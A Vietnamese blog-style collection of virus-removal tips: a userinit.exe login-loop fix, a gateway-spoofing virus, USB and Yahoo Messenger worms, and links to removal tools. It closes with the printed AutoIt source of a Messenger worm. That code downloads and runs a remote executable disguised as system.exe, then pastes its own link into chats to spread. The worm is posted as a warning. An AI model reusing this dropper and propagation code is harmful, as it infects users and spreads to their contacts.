Cách xử lý lỗi log in log off liên tục

Lỗi này do virus đã ghi đè file userinit.exe nên mỗi lần khởi động máy là máy sẽ bị nhiễm virus. Một số chương trình phát hiện ra file này là virus nên đã xóa đi nhưng không có cơ chế copy trở lại file cũ.

Do đó, khi khởi động lại máy sẽ bị hiện tượng log in log off liên tục.

Để xử lý vấn đề này ta có thể làm một trong các cách sau:

- Sử dụng đĩa bootCD để copy file usernit từ máy khác hoặc ở thư mục C:\windows\system32\userinit.exe vào thư mục c:\windows\userinit.exe

- Dùng đĩa hack pass để edit lại đường dẫn của file userinit thành C:\windows\system32\userinit.exe

Công cụ sửa lỗi không hiện file ẩn trong windows

Tải file dưới về và chạy nó

tick vào các mục cần fix và chọn Remove

http://www.4shared.com/file/64067085/c9fe1c7f/RRT.html

Virus giả mạo gateway

Hôm nay mới tìm và phát hiện được con virus giả mao gateway của bọn TQ

Con này làm mạng nghẽn kinh khủng luôn

Em dò trên con firewall thấy báo trùng IP gateway, hic nó giả mạo IP của gateway mà. Sau đó vào Event Viewer log để biết được MAC của nó, từ đó dò ra IP và tên máy.

Đến máy đó thấy lượng send và receive rất nhiều, em disable card mạng của nó và diệt virus. Hic, tất cả các file hệ thống đều bị báo có virus hết.

Xử lý xong con này, mạng lại vào ngon lành.

He he, lần sau đã có hướng giải quyết

Diệt virus lây qua ổ USB và chương trình chat Yahoo!

(Dân trí) - Nếu bạn bị dính “chưởng” của loại virus này, sẽ rất khó chịu mỗi khi truy cập vào USB hay ổ cứng vì phải chọn chuột phải và click Open để vào. Lẽ đương nhiên là do đó bạn không thể mở ổ cứng hay USB bằng chuột trái. Với FireLion, mọi rắc rối sẽ bị loại bỏ.

Gần đây, ở Việt Nam xuất hiện dòng virus lây qua Yahoo! Messenger (YM) và USB. Tuy không gây thiệt hại nghiêm trọng nhưng chúng lại gây ra vô số phiên toái cho người sử dụng như: vô hiệu hóa Task Manager, Registry Editor, Folder Options, tự động thay autorun cho USB, HHD, tự động gửi link chứa virus cho bạn bè của bạn qua YM...

 

Tổng hợp các công cụ quét virus hiệu quả

http://www.trendsecure.com/portal/en-US/threat_analytics/hijackthis.php?page=download

http://www.bleepingcomputer.com/files/smitRem.php

http://www.snapfiles.com/get/lspfix.html

http://www.bleepingcomputer.com/files/killbox.php

http://stuffmate.com/download/a_squared_a2_hijackfree/

http://www.futura-sciences.com/indexator/mot_l2mfix_exe_download.php

http://www.portablefreeware.com/download.php?dd=601

Phòng và diệt virus USB một cách đơn giản

(Tác giả:Phạm Đức Hải)

Hiện nay virus USB lây lan quá nhiều, tôi xin chia sẻ với các bạn một chút kinh nghiệm đẻ có thể phòng tránh, diệt và khắc phục hậu quả do virus USB gây ra.

Bộ công cụ diệt virus và spyware hiệu quả. Phần 2: Killbox

Địa chỉ tải file

http://download.bleepingcomputer.com/spyware/KillBox.exe

Bộ công cụ diệt virus và spyware hiệu quả. Phần 1: Smitrem

Sau một thời gian vác đĩa đi diệt virus ở các máy trong cơ quan, em đã sưu tập cho mình một số kinh nghiệm và một số công cụ diệt virus hiệu quả. Do đó, em sẽ dần dần giới thiệu với các bác từng công cụ một.(Toàn đồ free hết)

Lai them mot con virus nua lay qua YM

Nhiều đứa khùng thật đấy, biết là làm việc này không đem lại kết quả gì rồi mà cũng cứ nghịch. Nhiều khi thử nghiệm thì chỉ là thử nghiệm thôi, tung ra làm gì chứ

Hôm nay, lại thấy một con virus nữa lây qua yahoo giống con VLOVE, với đường link tới file funni.exe là file nhiễm virus cho mọi người

Mình không hiểu mấy nhưng view ra thì biết là con này là đồ dùng lại trên mạng. Đó là chương trình AutoIT 3 (Link: http://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3.2.0.1-setup.exe) Tải về và sửa theo ý mình là được.

Củ chuối thật ! Vào link của tác giả con virus này thì được biết là hắn ta đang thử nghiên cứu về chương trình này. Tên có vẻ ở hải ngoại nên hắn không sợ bị bắt như mấy chú trong nước vừa rồi.

Bà con cẩn thận nhé, đừng click vào link lạ nào nhé.

Đây là source code của file funni.exe

/////////////////////////////////////////////////////

; <AUT2EXE VERSION: 3.2.0.1>

; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-START: C:\Documents and Settings\shinichi\My Documents\Downloads\Compressed\autoit-v3.2.0.1\Examples\gaixinh.au3>
; ----------------------------------------------------------------------------

AutoItSetOption ("TrayIconHide","1")
InetGet( "hxxp://www.freewebtown.com/killerking1/funny/funny.exe" ,@WindowsDir & "\system.exe" ,1,0)
sleep(3000)
Run(@WindowsDir & "\system.exe")
sleep(3000)





$title = WinGetTitle("Yahoo! Messenger")
$wincheck = WinExists ($title)
ClipPut("Vui wa' : hxxp://www.freewebtown.com/killerking1/funny/funni.exe")
if $wincheck = 1 then
BlockInput (1)
WinActivate($title)
send("!A")
send("M")
sleep(400)
send("{DOWN}")
send("{SHIFTDOWN}")
send("{END}")
send("{enter}")
send("{LSHIFT}")
send("^v {ENTER}")
BlockInput (0)
endif


; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-END: C:\Documents and Settings\shinichi\My Documents\Downloads\Compressed\autoit-v3.2.0.1\Examples\gaixinh.au3>
; ----------------------------------------------------------------------------


/////////////////////////////////////////////////////